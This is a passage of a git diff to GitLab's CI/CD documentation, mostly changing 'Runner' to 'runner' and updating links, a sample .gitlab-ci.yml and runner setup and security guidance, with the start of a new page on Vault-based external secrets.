coverage report from a specific job, you can add @@ -294,7 +302,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n #### Flat (default) ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat ```  @@ -304,7 +312,7 @@ https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?st > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8. ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square ```  diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index 050df243af4..fa16614b0e0 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -11,9 +11,9 @@ GitLab offers a [continuous integration](https://about.gitlab.com/stages-devops- [pipeline](../pipelines/index.md), you must: - Add a [`.gitlab-ci.yml` file](#creating-a-gitlab-ciyml-file) to your repository's root directory. -- Ensure your project is configured to use a [Runner](#configuring-a-runner). +- Ensure your project is configured to use a [runner](#configuring-a-runner). -The `.gitlab-ci.yml` file tells the GitLab Runner what to do. A simple pipeline commonly has +The `.gitlab-ci.yml` file tells the runner what to do. A simple pipeline commonly has three [stages](../yaml/README.md#stages): - `build` @@ -57,7 +57,7 @@ The `.gitlab-ci.yml` file is where you configure what CI does with your project. It lives in the root of your repository. On any push to your repository, GitLab will look for the `.gitlab-ci.yml` -file and start jobs on _Runners_ according to the contents of the file, +file and start jobs on _runners_ according to the contents of the file, for that commit. Because `.gitlab-ci.yml` is in the repository and is version controlled, old @@ -80,14 +80,15 @@ so you have to pay extra attention to indentation. Always use spaces, not tabs. Below is an example for a Ruby on Rails project: ```yaml -image: "ruby:2.5" - -before_script: - - sudo apt-get update -qq && sudo apt-get install -y -qq sqlite3 libsqlite3-dev nodejs - - ruby -v - - which ruby - - gem install bundler --no-document - - bundle install --jobs $(nproc) "${FLAGS[@]}" +default: + image: ruby:2.5 + before_script: + - apt-get update + - apt-get install -y sqlite3 libsqlite3-dev nodejs + - ruby -v + - which ruby + - gem install bundler --no-document + - bundle install --jobs $(nproc) "${FLAGS[@]}" rspec: script: @@ -109,7 +110,7 @@ The `.gitlab-ci.yml` file defines sets of jobs with constraints of how and when they should be run. The jobs are defined as top-level elements with a name (in our case `rspec` and `rubocop`) and always have to contain the `script` keyword. Jobs are used to create jobs, which are then picked by -[Runners](../runners/README.md) and executed within the environment of the Runner. +[runners](../runners/README.md) and executed within the environment of the runner. What is important is that each job is run independently from each other. @@ -134,7 +135,7 @@ Now if you go to the **Pipelines** page you will see that the pipeline is pending. NOTE: **Note:** -If you have a [mirrored repository where GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter), +If you have a [mirrored repository where GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering in your project's **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. @@ -148,59 +149,54 @@ Clicking on it you will be directed to the jobs page for that specific commit.  Notice that there is a pending job which is named after what we wrote in -`.gitlab-ci.yml`. "stuck" indicates that there is no Runner configured +`.gitlab-ci.yml`. "stuck" indicates that there is no runner configured yet for this job. -The next step is to configure a Runner so that it picks the pending jobs. +The next step is to configure a runner so that it picks the pending jobs. -## Configuring a Runner +## Configuring a runner -In GitLab, Runners run the jobs that you define in `.gitlab-ci.yml`. A Runner -can be a virtual machine, a VPS, a bare-metal machine, a Docker container or -even a cluster of containers. GitLab and the Runners communicate through an API, -so the only requirement is that the Runner's machine has network access to the +In GitLab, runners run the jobs that you define in `.gitlab-ci.yml`. A runner +can be a virtual machine, a VPS, a bare-metal machine, a Docker container, or +even a cluster of containers. GitLab and the runner communicate through an API, +so the only requirement is that the runner's machine has network access to the GitLab server. -A Runner can be specific to a certain project or serve multiple projects in -GitLab. If it serves all projects it's called a _Shared Runner_. - -Find more information about different Runners in the -[Runners](../runners/README.md) documentation. +A runner can be specific to a certain project or serve multiple projects in +GitLab. If it serves all projects, it's called a _shared runner_. -You can find whether any Runners are assigned to your project by going to -**Settings ➔ CI/CD**. Setting up a Runner is easy and straightforward. The -official Runner supported by GitLab is written in Go and its documentation -can be found at <https://docs.gitlab.com/runner/>. +Find more information about runners in the +[runner](../runners/README.md) documentation. -In order to have a functional Runner you need to follow two steps: +The official runner supported by GitLab is written in Go. +View [the documentation](https://docs.gitlab.com/runner/). -1. [Install it](https://docs.gitlab.com/runner/install/) -1. [Configure it](https://docs.gitlab.com/runner/configuration/) +For a runner to be available in GitLab, you must: -Follow the links above to set up your own Runner or use a Shared Runner as -described in the next section. +1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). +1. [Register a runner for your group or project](https://docs.gitlab.com/runner/register/). -Once the Runner has been set up, you should see it on the Runners page of your -project, following **Settings ➔ CI/CD**. +When a runner is available, you can view it by +clicking **Settings > CI/CD** and expanding **Runners**.  -### Shared Runners +### Shared runners -If you use [GitLab.com](https://gitlab.com/) you can use the **Shared Runners** -provided by GitLab Inc. +If you use [GitLab.com](https://gitlab.com/), you can use the **shared runners** +provided by GitLab. These are special virtual machines that run on GitLab's infrastructure and can build any project. -To enable the **Shared Runners** you have to go to your project's -**Settings ➔ CI/CD** and click **Enable shared runners**. +To enable shared runners, go to your project's or group's +**Settings > CI/CD** and click **Enable shared runners**. -[Read more on Shared Runners](../runners/README.md). +[Read more about shared runners](../runners/README.md#shared-runners). -## Seeing the status of your pipeline and jobs +## Viewing the status of your pipeline and jobs -After configuring the Runner successfully, you should see the status of your +After configuring the runner successfully, you should see the status of your last commit change from _pending_ to either _running_, _success_ or _failed_. You can view all pipelines by going to the **Pipelines** page in your project. @@ -220,7 +216,10 @@ you expected. You are also able to view the status of any commit in the various pages in GitLab, such as **Commits** and **Merge requests**. -## Examples +## Additional resources Visit the [examples README](../examples/README.md) to see a list of examples using GitLab CI with various languages. + +For help making your new pipelines faster and more efficient, see the +[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index 283e4c69941..e2d5cbcbea4 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -46,8 +46,8 @@ In this example, a branch was: After adding Review Apps to your workflow, you follow the branched Git flow. That is: -1. Push a branch and let the Runner deploy the Review App based on the `script` definition of the dynamic environment job. -1. Wait for the Runner to build and deploy your web application. +1. Push a branch and let the runner deploy the Review App based on the `script` definition of the dynamic environment job. +1. Wait for the runner to build and deploy your web application. 1. Click on the link provided in the merge request related to the branch to see the changes live. ## Configuring Review Apps @@ -57,7 +57,7 @@ Review Apps are built on [dynamic environments](../environments/index.md#configu The process of configuring Review Apps is as follows: 1. Set up the infrastructure to host and deploy the Review Apps (check the [examples](#review-apps-examples) below). -1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a Runner to do deployment. +1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a runner to do deployment. 1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI environment variable](../variables/README.md) `${CI_COMMIT_REF_NAME}` to create dynamic environments and restrict it to run only on branches. Alternatively, you can get a YML template for this job by [enabling review apps](#enable-review-apps-button) for your project. @@ -130,20 +130,20 @@ deployed from its [project on GitLab.com](https://gitlab.com/gitlab-com/www-gitl ```yaml # Team data -- source: 'data/team.yml' # data/team.yml - public: 'team/' # team/ +- source: 'data/team.yml' # data/team.yml + public: 'team/' # team/ # Blogposts -- source: /source\/posts\/([0-9]{4})-([0-9]{2})-([0-9]{2})-(.+?)\..*/ # source/posts/2017-01-30-around-the-world-in-6-releases.html.md.erb - public: '\1/\2/\3/\4/' # 2017/01/30/around-the-world-in-6-releases/ +- source: /source\/posts\/([0-9]{4})-([0-9]{2})-([0-9]{2})-(.+?)\..*/ # source/posts/2017-01-30-around-the-world-in-6-releases.html.md.erb + public: '\1/\2/\3/\4/' # 2017/01/30/around-the-world-in-6-releases/ # HTML files -- source: /source\/(.+?\.html).*/ # source/index.html.haml - public: '\1' # index.html +- source: /source\/(.+?\.html).*/ # source/index.html.haml + public: '\1' # index.html # Other files -- source: /source\/(.*)/ # source/images/blogimages/around-the-world-in-6-releases-cover.png - public: '\1' # images/blogimages/around-the-world-in-6-releases-cover.png +- source: /source\/(.*)/ # source/images/blogimages/around-the-world-in-6-releases-cover.png + public: '\1' # images/blogimages/around-the-world-in-6-releases-cover.png ``` Mappings are defined as entries in the root YAML array, and are identified by a `-` prefix. Within an entry, there is a hash map with two keys: diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index 6d248156004..32561e6b98c 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -5,62 +5,62 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Configuring GitLab Runners +# Configuring runners in GitLab <!-- This topic contains several commented-out sections that were accidentally added in 13.2.--> -<!-- The commented-out sections are added back in 13.3.--> +<!-- The commented-out sections will be added back in a future release.--> -In GitLab CI/CD, Runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md). -A GitLab Runner is a lightweight, highly-scalable agent that picks up a CI job through +In GitLab CI/CD, runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md). +A runner is a lightweight, highly-scalable agent that picks up a CI job through the coordinator API of GitLab CI/CD, runs the job, and sends the result back to the GitLab instance. Runners are created by an administrator and are visible in the GitLab UI. Runners can be specific to certain projects or available to all projects. -## Types of Runners +## Types of runners -There are three types of Runners: +There are three types of runners: - [Shared](#shared-runners) (for all projects) - [Group](#group-runners) (for all projects in a group) - [Specific](#specific-runners) (for specific projects) -If you are running self-managed GitLab, you can create your own Runners. +If you are running self-managed GitLab, you can create your own runners. -If you are using GitLab.com, you can use the shared Runners provided by GitLab or -create your own group or specific Runners. +If you are using GitLab.com, you can use the shared runners provided by GitLab or +create your own group or specific runners. -### Shared Runners +### Shared runners -*Shared Runners* are available to every project in a GitLab instance. +*Shared runners* are available to every project in a GitLab instance. -Use shared Runners when you have multiple jobs with similar requirements. Rather than -having multiple Runners idling for many projects, you can have a few Runners that handle +Use shared runners when you have multiple jobs with similar requirements. Rather than +having multiple runners idling for many projects, you can have a few runners that handle multiple projects. If you are using a self-managed instance of GitLab: -- Your administrator can install and register shared Runners by viewing the instructions +- Your administrator can install and register shared runners by viewing the instructions [here](https://docs.gitlab.com/runner/install/index.html). <!-- going to your project's - <!-- **Settings > CI / CD**, expanding the **Runners** section, and clicking **Show Runner installation instructions**.--> + <!-- **Settings > CI / CD**, expanding the **Runners** section, and clicking **Show runner installation instructions**.--> <!-- These instructions are also available [here](https://docs.gitlab.com/runner/install/index.html).--> -- The administrator can also configure a maximum number of shared Runner [pipeline minutes for - each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota-starter-only). +- The administrator can also configure a maximum number of shared runner [pipeline minutes for + each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota). If you are using GitLab.com: -- You can select from a list of [shared Runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). -- The shared Runners consume the [pipelines minutes](../../subscriptions/index.md#ci-pipeline-minutes) +- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). +- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) included with your account. -#### How shared Runners pick jobs +#### How shared runners pick jobs -Shared Runners process jobs by using a fair usage queue. This queue prevents +Shared runners process jobs by using a fair usage queue. This queue prevents projects from creating hundreds of jobs and using all available -shared Runner resources. +shared runner resources. The fair usage queue algorithm assigns jobs based on the projects that have the -fewest number of jobs already running on shared Runners. +fewest number of jobs already running on shared runners. **Example 1** @@ -88,259 +88,259 @@ The fair usage algorithm assigns jobs in this order: If these jobs are in the queue: -- Job 1 for project 1 -- Job 2 for project 1 -- Job 3 for project 1 -- Job 4 for project 2 -- Job 5 for project 2 -- Job 6 for project 3 +- Job 1 for Project 1 +- Job 2 for Project 1 +- Job 3 for Project 1 +- Job 4 for Project 2 +- Job 5 for Project 2 +- Job 6 for Project 3 The fair usage algorithm assigns jobs in this order: 1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). -1. We finish job 1. +1. We finish Job 1. 1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number. -1. Job 4 is next, because with Project 1 running a job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). -1. We finish job 4. +1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). +1. We finish Job 4. 1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again. 1. Job 6 is next, because Project 3 is the only project left with no running jobs. 1. Lastly we choose Job 3... because, again, it's the only job left. -#### Enable shared Runners +#### Enable shared runners -On GitLab.com, [shared Runners](#shared-runners) are enabled in all projects by +On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by default. On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html) and [register](https://docs.gitlab.com/runner/register/index.html) them. -You can also enable shared Runners for individual projects. +You can also enable shared runners for individual projects. -To enable shared Runners: +To enable shared runners: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Click **Allow shared Runners**. +1. Click **Allow shared runners**. -#### Disable shared Runners +#### Disable shared runners -You can disable shared Runners for individual projects<!-- or for groups-->. +You can disable shared runners for individual projects<!-- or for groups-->. You must have Owner permissions for the project<!-- or group-->. -To disable shared Runners for a project: +To disable shared runners for a project: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared Runners** area, click **Disable shared Runners**. +1. In the **Shared runners** area, click **Disable shared runners**. -<!--To disable shared Runners for a group: +<!--To disable shared runners for a group: 1. Go to the group's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared Runners** area, click **Disable shared Runners globally**. -1. Optionally, to allow shared Runners to be enabled for individual projects or subgroups, +1. In the **Shared runners** area, click **Disable shared runners globally**. +1. Optionally, to allow shared runners to be enabled for individual projects or subgroups, click **Allow projects/subgroups to override the global setting**. --> -### Group Runners +### Group runners -Use *Group Runners* when you want all projects in a group -to have access to a set of Runners. +Use *Group runners* when you want all projects in a group +to have access to a set of runners. -Group Runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. +Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. -#### Create a group Runner +#### Create a group runner -You can create a group Runner for your self-managed GitLab instance or for GitLab.com. +You can create a group runner for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. -To create a group Runner: +To create a group runner: -1. [Install Runner](https://docs.gitlab.com/runner/install/). -1. Go to the group you want to make the Runner work for. +1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). +1. Go to the group you want to make the runner work for. 1. Go to **Settings > CI/CD** and expand the **Runners** section. 1. Note the URL and token. -1. [Register the Runner](https://docs.gitlab.com/runner/register/). +1. [Register the runner](https://docs.gitlab.com/runner/register/). -#### View and manage group Runners +#### View and manage group runners > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2. -You can view and manage all Runners for a group, its subgroups, and projects. +You can view and manage all runners for a group, its subgroups, and projects. You can do this for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. -1. Go to the group where you want to view the Runners. +1. Go to the group where you want to view the runners. 1. Go to **Settings > CI/CD** and expand the **Runners** section. 1. The following fields are displayed. | Attribute | Description | | ------------ | ----------- | | Type | One or more of the following states: shared, group, specific, locked, or paused | - | Runner token | Token used to identify the Runner, and which the Runner uses to communicate with the GitLab instance | - | Description | Description given to the Runner when it was created | + | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance | + | Description | Description given to the runner when it was created | | Version | GitLab Runner version | - | IP address | IP address of the host on which the Runner is registered | - | Projects | The count of projects to which the Runner is assigned | - | Jobs | Total of jobs run by the Runner | - | Tags | Tags associated with the Runner | - | Last contact | Timestamp indicating when the GitLab instance last contacted the Runner | + | IP address | IP address of the host on which the runner is registered | + | Projects | The count of projects to which the runner is assigned | + | Jobs | Total of jobs run by the runner | + | Tags | Tags associated with the runner | + | Last contact | Timestamp indicating when the GitLab instance last contacted the runner | -From this page, you can edit, pause, and remove Runners from the group, its subgroups, and projects. +From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects. -#### Pause or remove a group Runner +#### Pause or remove a group runner -You can pause or remove a group Runner for your self-managed GitLab instance or for GitLab.com. +You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. -1. Go to the group you want to remove or pause the Runner for. +1. Go to the group you want to remove or pause the runner for. 1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. Click **Pause** or **Remove Runner**. - - If you pause a group Runner that is used by multiple projects, the Runner pauses for all projects. - - From the group view, you cannot remove a Runner that is assigned to more than one project. +1. Click **Pause** or **Remove runner**. + - If you pause a group runner that is used by multiple projects, the runner pauses for all projects. + - From the group view, you cannot remove a runner that is assigned to more than one project. You must remove it from each project first. 1. On the confirmation dialog, click **OK**. -### Specific Runners +### Specific runners -Use *Specific Runners* when you want to use Runners for specific projects. For example, +Use *Specific runners* when you want to use runners for specific projects. For example, when you have: - Jobs with specific requirements, like a deploy job that requires credentials. -- Projects with a lot of CI activity that can benefit from being separate from other Runners. +- Projects with a lot of CI activity that can benefit from being separate from other runners. -You can set up a specific Runner to be used by multiple projects. Specific Runners +You can set up a specific runner to be used by multiple projects. Specific runners must be enabled for each project explicitly. -Specific Runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. +Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. NOTE: **Note:** -Specific Runners do not get shared with forked projects automatically. +Specific runners do not get shared with forked projects automatically. A fork *does* copy the CI / CD settings of the cloned repository. -#### Create a specific Runner +#### Create a specific runner -You can create a specific Runner for your self-managed GitLab instance or for GitLab.com. +You can create a specific runner for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#project-members-permissions) for the project. -To create a specific Runner: +To create a specific runner: -1. [Install Runner](https://docs.gitlab.com/runner/install/). +1. [Install runner](https://docs.gitlab.com/runner/install/). 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. Note the URL and token. -1. [Register the Runner](https://docs.gitlab.com/runner/register/). +1. [Register the runner](https://docs.gitlab.com/runner/register/). -#### Enable a specific Runner for a specific project +#### Enable a specific runner for a specific project -A specific Runner is available in the project it was created for. An administrator can -enable a specific Runner to apply to additional projects. +A specific runner is available in the project it was created for. An administrator can +enable a specific runner to apply to additional projects. - You must have Owner permissions for the project. -- The specific Runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). +- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). -To enable or disable a specific Runner for a project: +To enable or disable a specific runner for a project: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. Click **Enable for this project** or **Disable for this project**. -#### Prevent a specific Runner from being enabled for other projects +#### Prevent a specific runner from being enabled for other projects -You can configure a specific Runner so it is "locked" and cannot be enabled for other projects. -This setting can be enabled when you first [register a Runner](https://docs.gitlab.com/runner/register/), +You can configure a specific runner so it is "locked" and cannot be enabled for other projects. +This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), but can also be changed later. -To lock or unlock a Runner: +To lock or unlock a runner: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the Runner you want to lock or unlock. Make sure it's enabled. +1. Find the runner you want to lock or unlock. Make sure it's enabled. 1. Click the pencil button. 1. Check the **Lock to current projects** option. 1. Click **Save changes**. -## Manually clear the Runner cache +## Manually clear the runner cache Read [clearing the cache](../caching/index.md#clearing-the-cache). -## Set maximum job timeout for a Runner +## Set maximum job timeout for a runner -For each Runner, you can specify a *maximum job timeout*. This timeout, +For each runner, you can specify a *maximum job timeout*. This timeout, if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence. -This feature can be used to prevent your shared Runner from being overwhelmed +This feature can be used to prevent your shared runner from being overwhelmed by a project that has jobs with a long timeout (for example, one week). -When not configured, Runners do not override the project timeout. +When not configured, runners do not override the project timeout. How this feature works: **Example 1 - Runner timeout bigger than project timeout** -1. You set the _maximum job timeout_ for a Runner to 24 hours +1. You set the _maximum job timeout_ for a runner to 24 hours 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job 1. The job, if running longer, will be timed out after **2 hours** **Example 2 - Runner timeout not configured** -1. You remove the _maximum job timeout_ configuration from a Runner +1. You remove the _maximum job timeout_ configuration from a runner 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job 1. The job, if running longer, will be timed out after **2 hours** **Example 3 - Runner timeout smaller than project timeout** -1. You set the _maximum job timeout_ for a Runner to **30 minutes** +1. You set the _maximum job timeout_ for a runner to **30 minutes** 1. You set the _CI/CD Timeout_ for a project to 2 hours 1. You start a job 1. The job, if running longer, will be timed out after **30 minutes** ## Be careful with sensitive information -With some [Runner Executors](https://docs.gitlab.com/runner/executors/README.html), -if you can run a job on the Runner, you can get full access to the file system, -and thus any code it runs as well as the token of the Runner. With shared Runners, this means that anyone -that runs jobs on the Runner, can access anyone else's code that runs on the -Runner. +With some [runner executors](https://docs.gitlab.com/runner/executors/README.html), +if you can run a job on the runner, you can get full access to the file system, +and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone +that runs jobs on the runner, can access anyone else's code that runs on the +runner. -In addition, because you can get access to the Runner token, it is possible -to create a clone of a Runner and submit false jobs, for example. +In addition, because you can get access to the runner token, it is possible +to create a clone of a runner and submit false jobs, for example. -The above is easily avoided by restricting the usage of shared Runners +The above is easily avoided by restricting the usage of shared runners on large public GitLab instances, controlling access to your GitLab instance, -and using more secure [Runner Executors](https://docs.gitlab.com/runner/executors/README.html). +and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html). -### Prevent Runners from revealing sensitive information +### Prevent runners from revealing sensitive information > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0. -You can protect Runners so they don't reveal sensitive information. -When a Runner is protected, the Runner picks jobs created on +You can protect runners so they don't reveal sensitive information. +When a runner is protected, the runner picks jobs created on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only, and ignores other jobs. -To protect or unprotect a Runner: +To protect or unprotect a runner: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the Runner you want to protect or unprotect. Make sure it's enabled. +1. Find the runner you want to protect or unprotect. Make sure it's enabled. 1. Click the pencil button. 1. Check the **Protected** option. 1. Click **Save changes**. - + ### Forks Whenever a project is forked, it copies the settings of the jobs that relate -to it. This means that if you have shared Runners set up for a project and -someone forks that project, the shared Runners serve jobs of this project. +to it. This means that if you have shared runners set up for a project and +someone forks that project, the shared runners serve jobs of this project. -### Attack vectors in Runners +### Attack vectors in runners -Mentioned briefly earlier, but the following things of Runners can be exploited. +Mentioned briefly earlier, but the following things of runners can be exploited. We're always looking for contributions that can mitigate these [Security Considerations](https://docs.gitlab.com/runner/security/). -### Reset the Runner registration token for a project +### Reset the runner registration token for a project If you think that a registration token for a project was revealed, you should -reset it. A token can be used to register another Runner for the project. That new Runner +reset it. A token can be used to register another runner for the project. That new runner may then be used to obtain the values of secret variables or to clone project code. To reset the token: @@ -353,105 +353,109 @@ To reset the token: and check the registration token - it should be changed. From now on the old token is no longer valid and does not register -any new Runners to the project. If you are using any tools to provision and -register new Runners, the tokens used in those tools should be updated to reflect the +any new runners to the project. If you are using any tools to provision and +register new runners, the tokens used in those tools should be updated to reflect the value of the new token. -## Determine the IP address of a Runner +## Determine the IP address of a runner > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6. -It may be useful to know the IP address of a Runner so you can troubleshoot -issues with that Runner. GitLab stores and displays the IP address by viewing +It may be useful to know the IP address of a runner so you can troubleshoot +issues with that runner. GitLab stores and displays the IP address by viewing the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the Runner IP changes it will be +IP address is always kept up to date so if the runner IP changes it will be automatically updated in GitLab. -The IP address for shared Runners and specific Runners can be found in +The IP address for shared runners and specific runners can be found in different places. -### Determine the IP address of a shared Runner +### Determine the IP address of a shared runner -To view the IP address of a shared Runner you must have admin access to +To view the IP address of a shared runner you must have admin access to the GitLab instance. To determine this: 1. Visit **Admin Area > Overview > Runners**. -1. Look for the Runner in the table and you should see a column for **IP Address**. +1. Look for the runner in the table and you should see a column for **IP Address**. - + -### Determine the IP address of a specific Runner +### Determine the IP address of a specific runner -To can find the IP address of a Runner for a specific project, +To can find the IP address of a runner for a specific project, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. On the details page you should see a row for **IP Address**. - + -## Use tags to limit the number of jobs using the Runner +## Use tags to limit the number of jobs using the runner -You must set up a Runner to be able to run all the different types of jobs +You must set up a runner to be able to run all the different types of jobs that it may encounter on the projects it's shared over. This would be problematic for large amounts of projects, if it weren't for tags. -By tagging a Runner for the types of jobs it can handle, you can make sure -shared Runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). +By tagging a runner for the types of jobs it can handle, you can make sure +shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). -For instance, at GitLab we have Runners tagged with `rails` if they contain +For instance, at GitLab we have runners tagged with `rails` if they contain the appropriate dependencies to run Rails test suites. -When you [register a Runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** +When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** [tagged jobs](../yaml/README.md#tags). To change this, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. -To make a Runner pick untagged jobs: +To make a runner pick untagged jobs: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the Runner you want to pick untagged jobs and make sure it's enabled. +1. Find the runner you want to pick untagged jobs and make sure it's enabled. 1. Click the pencil button. 1. Check the **Run untagged jobs** option. 1. Click the **Save changes** button for the changes to take effect. NOTE: **Note:** -The Runner tags list can not be empty when it's not allowed to pick untagged jobs. +The runner tags list can not be empty when it's not allowed to pick untagged jobs. Below are some example scenarios of different variations. -### Runner runs only tagged jobs +### runner runs only tagged jobs -The following examples illustrate the potential impact of the Runner being set +The following examples illustrate the potential impact of the runner being set to run only tagged jobs. Example 1: -1. The Runner is configured to run only tagged jobs and has the `docker` tag. +1. The runner is configured to run only tagged jobs and has the `docker` tag. 1. A job that has a `hello` tag is executed and stuck. Example 2: -1. The Runner is configured to run only tagged jobs and has the `docker` tag. +1. The runner is configured to run only tagged jobs and has the `docker` tag. 1. A job that has a `docker` tag is executed and run. Example 3: -1. The Runner is configured to run only tagged jobs and has the `docker` tag. +1. The runner is configured to run only tagged jobs and has the `docker` tag. 1. A job that has no tags defined is executed and stuck. -### Runner is allowed to run untagged jobs +### runner is allowed to run untagged jobs -The following examples illustrate the potential impact of the Runner being set +The following examples illustrate the potential impact of the runner being set to run tagged and untagged jobs. Example 1: -1. The Runner is configured to run untagged jobs and has the `docker` tag. +1. The runner is configured to run untagged jobs and has the `docker` tag. 1. A job that has no tags defined is executed and run. 1. A second job that has a `docker` tag defined is executed and run. Example 2: -1. The Runner is configured to run untagged jobs and has no tags defined. +1. The runner is configured to run untagged jobs and has no tags defined. 1. A job that has no tags defined is executed and run. 1. A second job that has a `docker` tag defined is stuck. + +## System calls not available on GitLab.com shared runners + +GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library. diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md new file mode 100644 index 00000000000..6d561fe00a3 --- /dev/null +++ b/doc/ci/secrets/index.md @@ -0,0 +1,157 @@ +--- +stage: Release +group: Release Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: concepts, howto +--- + +# Using external secrets in CI + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218746) in GitLab 13.4 and GitLab Runner 13.4. + +Secrets represent sensitive information your CI job needs to complete work. This +sensitive information can be items like API tokens, database credentials, or private keys. +Secrets are sourced from your secrets provider. + +Unlike CI variables, which are always presented to a job, secrets must be explicitly +required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/README.md#secrets) +for more information about the syntax. + +GitLab has selected [Vault by Hashicorp](https://www.vaultproject.io) as the +first supported provider, and [KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) +as the first supported secrets engine. + +GitLab authenticates using Vault's +[JWT Auth method](https://www.vaultproject.io/docs/auth/jwt#jwt-authentication), using +the [JSON Web Token](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) (`CI_JOB_JWT`) +introduced in GitLab 12.10. + +You must [configure your Vault server](#configure-your-vault-server) before you +can use [use Vault secrets in a CI job](#use-vault-secrets-in-a-ci-job). + +NOTE: **Note:** +Read the [Authenticating and Reading Secrets With Hashicorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) +tutorial for a version of this feature that is available to all +subscription levels, supports writing secrets to and deleting secrets from Vault, +and 